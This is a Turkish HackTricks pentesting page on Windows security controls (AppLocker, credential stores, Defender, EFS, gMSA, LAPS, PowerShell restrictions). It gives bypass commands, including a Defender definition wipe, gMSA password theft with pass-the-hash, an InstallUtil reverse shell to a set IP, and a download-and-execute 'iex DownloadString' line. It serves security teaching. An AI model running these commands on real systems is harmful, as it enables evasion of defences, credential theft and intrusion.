Windows Güvenlik Kontrolleri
Reading time: 12 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
AppLocker Politikası
Bir uygulama beyaz listesi, bir sistemde bulunmasına ve çalışmasına izin verilen onaylanmış yazılım uygulamaları veya çalıştırılabilir dosyaların listesidir. Amaç, ortamı zararlı malware ve kuruluşun belirli iş ihtiyaçlarıyla uyumlu olmayan onaylanmamış yazılımlardan korumaktır.
AppLocker Microsoft'un uygulama beyaz listeleme çözümüdür ve sistem yöneticilerine kullanıcıların hangi uygulamaları ve dosyaları çalıştırabileceği üzerinde kontrol sağlar.
Çalıştırılabilir dosyalar, scriptler, Windows installer dosyaları, DLL'ler, paketlenmiş uygulamalar ve paket uygulama yükleyicileri üzerinde ayrıntılı kontrol sağlar.
Kuruluşların cmd.exe ve PowerShell.exe'i engellemesi ve belirli dizinlere yazma erişimini kısıtlaması yaygındır, ancak bunların tamamı atlatılabilir.
Kontrol
Hangi dosyaların/uzantıların kara listeye veya beyaz listeye alındığını kontrol edin:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
Bu kayıt defteri yolu, AppLocker tarafından uygulanan yapılandırmaları ve politikaları içerir; sistemde uygulanan mevcut kural setini incelemek için bir yol sağlar:
HKLM\Software\Policies\Microsoft\Windows\SrpV2
Bypass
- AppLocker Policy'yi bypass etmek için kullanışlı Writable folders: Eğer AppLocker
C:\Windows\System32
veyaC:\Windows
içinde herhangi bir şeyin çalıştırılmasına izin veriyorsa, bunu bypass etmek için kullanabileceğiniz writable folders vardır.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- Genellikle trusted "LOLBAS's" ikili dosyalar AppLocker'ı atlatmak için de faydalı olabilir.
- Kötü yazılmış kurallar da atlatılabilir
- Örneğin,
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
, her yerdeallowed
adında bir klasör oluşturabilirsiniz ve izin verilecektir. - Organizasyonlar genellikle
%System32%\WindowsPowerShell\v1.0\powershell.exe
yürütülebilir dosyasını engellemeye odaklanır, ancak diğer PowerShell executable locations gibi%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
veyaPowerShell_ISE.exe
gibi yerleri unuturlar. - DLL enforcement çok nadiren etkinleştirilir çünkü sisteme ek yük getirebilir ve hiçbir şeyin bozulmayacağından emin olmak için gereken test miktarı fazladır. Bu yüzden DLL'leri backdoors olarak kullanmak AppLocker'ı atlatmaya yardımcı olur.
- ReflectivePick veya SharpPick kullanarak herhangi bir süreçte Powershell kodu çalıştırabilir ve AppLocker'ı atlatabilirsiniz. Daha fazla bilgi için bakın: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode.
Kimlik Bilgileri Depolama
Security Accounts Manager (SAM)
Yerel kimlik bilgileri bu dosyada bulunur, parolalar hashlenmiştir.
Local Security Authority (LSA) - LSASS
Kimlik bilgileri (hashlenmiş) Single Sign-On nedenleriyle bu alt sistemin belleğinde saklanır.
LSA yerel güvenlik politikasını (parola politikası, kullanıcı izinleri...), authentication, access tokens... yönetir.
LSA, sağlanan kimlik bilgilerini yerel giriş için SAM dosyası içinde kontrol edecek ve bir domain kullanıcısını doğrulamak için domain controller ile iletişime geçecektir.
Kimlik bilgileri LSASS sürecinin içinde saklanır: Kerberos ticket'ları, NT ve LM hash'leri, kolayca çözülebilen parolalar.
LSA secrets
LSA bazı kimlik bilgilerini diske kaydedebilir:
- Active Directory bilgisayar hesabının parolası (ulaşılamayan domain controller).
- Windows servis hesaplarının parolaları
- Zamanlanmış görevler için parolalar
- Diğer (IIS uygulamalarının parolası...)
NTDS.dit
Active Directory'nin veritabanıdır. Sadece Domain Controller'larda bulunur.
Defender
Microsoft Defender Windows 10 ve Windows 11'de ve Windows Server sürümlerinde bulunan bir Antivirus'tür. WinPEAS
gibi yaygın pentesting araçlarını engeller. Ancak bu korumaları atlatmanın yolları vardır.
Check
Defender'ın durumunu kontrol etmek için PS cmdlet'i Get-MpComputerStatus
çalıştırabilirsiniz (etkin olup olmadığını öğrenmek için RealTimeProtectionEnabled
değerine bakın):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
Bunu enumerate etmek için ayrıca şunu da çalıştırabilirsiniz:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Şifrelenmiş Dosya Sistemi (EFS)
EFS, dosyaları şifreleyerek korur ve bunun için symmetric key olarak bilinen File Encryption Key (FEK)'i kullanır. Bu anahtar kullanıcıya ait public key ile şifrelenir ve şifrelenmiş dosyanın $EFS alternative data stream'inde saklanır. Deşifre gerektiğinde, kullanıcının dijital sertifikasının ilgili private key'i FEK'i $EFS akışından çözmek için kullanılır. Daha fazla detay için here.
Kullanıcı başlatması olmadan deşifre senaryoları şunlardır:
- Dosyalar veya klasörler non-EFS bir dosya sistemine, örn. FAT32, taşındığında otomatik olarak deşifre edilir.
- SMB/CIFS protokolü üzerinden ağda gönderilen şifrelenmiş dosyalar iletimden önce deşifre edilir.
Bu şifreleme yöntemi sahibin şifrelenmiş dosyalara transparent access ile erişmesini sağlar. Ancak, sadece sahibin şifresini değiştirmek ve oturum açmak deşifreye izin vermez.
Temel Noktalar:
- EFS, kullanıcıya ait public key ile şifrelenmiş simetrik bir FEK kullanır.
- Deşifre, FEK'e erişmek için kullanıcının private key'ini kullanır.
- Otomatik deşifreleme belirli koşullarda gerçekleşir; örn. FAT32'ye kopyalama veya ağ üzerinden iletim.
- Şifrelenmiş dosyalar sahibine ek adımlar olmadan erişilebilir.
EFS bilgilerini kontrol et
Bir kullanıcının bu servisi kullanıp kullanmadığını kontrol etmek için şu yolun var olup olmadığını denetleyin: C:\users\<username>\appdata\roaming\Microsoft\Protect
Bir dosyaya kimin eriştiğini kontrol etmek için cipher /c <file> komutunu kullanın. Ayrıca bir klasör içinde cipher /e
ve cipher /d
komutlarını kullanarak tüm dosyaları şifreleyebilir ve deşifre edebilirsiniz.
EFS dosyalarının deşifre edilmesi
SYSTEM yetkisine sahip olmak
Bu yöntem, kurban kullanıcının host içinde bir process çalıştırıyor olmasını gerektirir. Eğer durum buysa, bir meterpreter
session'ı kullanarak kullanıcının process token'ını taklit edebilirsiniz (impersonate_token
from incognito
). Ya da kullanıcı process'ine migrate
edebilirsiniz.
Kullanıcı şifresini bilmek
howto ~ decrypt EFS files \xc2\xb7 gentilkiwi/mimikatz Wiki \xc2\xb7 GitHub
Grup Yönetilen Servis Hesapları (gMSA)
Microsoft, IT altyapılarında servis hesaplarının yönetimini basitleştirmek için Group Managed Service Accounts (gMSA)'leri geliştirdi. Genellikle "Password never expire" ayarı etkin olan geleneksel servis hesaplarının aksine, gMSA'lar daha güvenli ve yönetilebilir bir çözüm sunar:
- Otomatik Parola Yönetimi: gMSA'lar, alan veya bilgisayar politikasına göre otomatik değişen, 240 karakter uzunluğunda karmaşık bir parola kullanır. Bu işlem Microsoft'un Key Distribution Service (KDC) tarafından yönetilir ve manuel parola güncellemeleri ihtiyacını ortadan kaldırır.
- Geliştirilmiş Güvenlik: Bu hesaplar kilitlenmelere karşı bağışıktır ve etkileşimli oturum açma için kullanılamaz, bu da güvenliği artırır.
- Çoklu Host Desteği: gMSA'lar birden fazla host arasında paylaşılabilir, bu da çoklu sunucuda çalışan servisler için idealdir.
- Zamanlanmış Görev Desteği: Yönetilen servis hesaplarının aksine, gMSA'lar zamanlanmış görevlerin çalıştırılmasını destekler.
- Basitleştirilmiş SPN Yönetimi: Bilgisayarın sAMaccount detayları veya DNS adı değiştiğinde sistem otomatik olarak Service Principal Name (SPN)'i günceller, böylece SPN yönetimi basitleşir.
gMSA parolaları LDAP özelliği msDS-ManagedPassword içinde saklanır ve Domain Controllers (DC'ler) tarafından her 30 günde bir otomatik olarak sıfırlanır. Bu parola, MSDS-MANAGEDPASSWORD_BLOB olarak bilinen şifrelenmiş bir veri blob'udur ve yalnızca yetkili yöneticiler ve gMSA'ların yüklü olduğu sunucular tarafından alınabilir; bu da güvenli bir ortam sağlar. Bu bilgiye erişmek için LDAPS gibi güvenli bir bağlantı gereklidir veya bağlantı 'Sealing & Secure' ile doğrulanmış olmalıdır.
Bu parolayı GMSAPasswordReader:
/GMSAPasswordReader --AccountName jkohler
Also, check this web page about how to perform a NTLM relay attack to read the password of gMSA.
ACL zincirlemesini suistimal ederek gMSA yönetilen şifresini okumak (GenericAll -> ReadGMSAPassword)
Birçok ortamda, düşük ayrıcalikli kullanıcılar yanlış yapılandırılmış nesne ACLs'lerini suistimal ederek DC'yi ele geçirmeye gerek kalmadan gMSA sırlarına erişebilirler:
- Kontrol edebileceğiniz bir grup (örn. GenericAll/GenericWrite aracılığıyla) bir gMSA üzerinde
ReadGMSAPassword
yetkisi ile yetkilendirilir. - Kendinizi o gruba ekleyerek, LDAP üzerinden gMSA'nın
msDS-ManagedPassword
blob'unu okuma hakkını devralırsınız ve kullanılabilir NTLM kimlik bilgilerini türetebilirsiniz.
Tipik iş akışı:
- BloodHound ile yolu keşfedin ve foothold principal'lerinizi Owned olarak işaretleyin. Aşağıdaki gibi kenarları arayın:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
- Kontrol ettiğiniz ara gruba kendinizi ekleyin (bloodyAD ile örnek):
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
- LDAP üzerinden gMSA yönetilen parolayı okuyun ve NTLM hash'ini türetin. NetExec,
msDS-ManagedPassword
'in çıkarılmasını ve NTLM'ye dönüştürülmesini otomatikleştirir:
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
- NTLM hash kullanarak gMSA olarak kimlik doğrulayın (plaintext gerekmez). Hesap Remote Management Users içindeyse, WinRM doğrudan çalışacaktır:
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
Notlar:
msDS-ManagedPassword
için LDAP okumaları sealing gerektirir (ör. LDAPS/sign+seal). Araçlar bunu otomatik olarak halleder.- gMSAs genellikle WinRM gibi yerel haklara sahiptir; lateral movement'ı planlamak için grup üyeliğini doğrulayın (ör. Remote Management Users).
- Eğer NTLM'i kendiniz hesaplamak için yalnızca blob'a ihtiyacınız varsa, MSDS-MANAGEDPASSWORD_BLOB yapısına bakın.
LAPS
The Local Administrator Password Solution (LAPS), available for download from Microsoft, yerel Administrator parolalarının yönetimini sağlar. Bu parolalar rastgele oluşturulmuş, benzersiz ve düzenli olarak değiştirilir; Active Directory'de merkezi olarak saklanır. Bu parolalara erişim, yetkili kullanıcılara yönelik ACL'lerle kısıtlanmıştır. Yeterli izin verildiğinde yerel admin parolalarını okuma imkânı sağlanır.
PS Constrained Language Mode
PowerShell Constrained Language Mode PowerShell'i etkin şekilde kullanmak için gereken birçok özelliği kısıtlar, örneğin COM objects'in engellenmesi, yalnızca onaylı .NET types'a izin verilmesi, XAML-based workflows, PowerShell classes ve daha fazlası.
Kontrol
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
Bypass
#Easy bypass
Powershell -version 2
Güncel Windows sürümlerinde bu Bypass çalışmayabilir ama PSByPassCLM.
Derlemek için gerekebilir: Referans Ekle -> Gözat -> Gözat -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
ve projeyi .Net4.5 olarak değiştirin.
Doğrudan bypass:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Reverse shell:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
ReflectivePick veya SharpPick kullanarak herhangi bir işlemde execute Powershell code çalıştırabilir ve constrained mode'u atlayabilirsiniz. Daha fazla bilgi için bakınız: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode.
PS Çalıştırma Politikası
Varsayılan olarak restricted. olarak ayarlanmıştır. Bu politikayı atlatmanın başlıca yolları:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Daha fazlası için here
Security Support Provider Interface (SSPI)
Kullanıcıları kimlik doğrulamak için kullanılabilecek bir API'dir.
SSPI, iletişim kurmak isteyen iki makine için uygun protokolü belirlemekten sorumludur. Bunun tercih edilen yöntemi Kerberos'tur. SSPI daha sonra hangi kimlik doğrulama protokolünün kullanılacağını müzakere eder; bu kimlik doğrulama protokollerine Security Support Provider (SSP) denir, her Windows makinesinin içinde bir DLL şeklinde bulunurlar ve iletişim kurabilmek için her iki makinenin de aynı SSP'yi desteklemesi gerekir.
Ana SSP'ler
- Kerberos: Tercih edilen
- %windir%\Windows\System32\kerberos.dll
- NTLMv1 and NTLMv2: Uyumluluk nedenleriyle
- %windir%\Windows\System32\msv1_0.dll
- Digest: Web sunucuları ve LDAP için, parola MD5 hash biçimindedir
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSL ve TLS
- %windir%\Windows\System32\Schannel.dll
- Negotiate: Kullanılacak protokolü müzakere etmek için kullanılır (Kerberos veya NTLM; varsayılan Kerberos'tur)
- %windir%\Windows\System32\lsasrv.dll
Müzakere birden fazla yöntem veya yalnızca bir yöntem sunabilir.
UAC - User Account Control
User Account Control (UAC) yönetici yetkisi gerektiren işlemler için bir onay istemi sağlayan bir özelliktir.
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.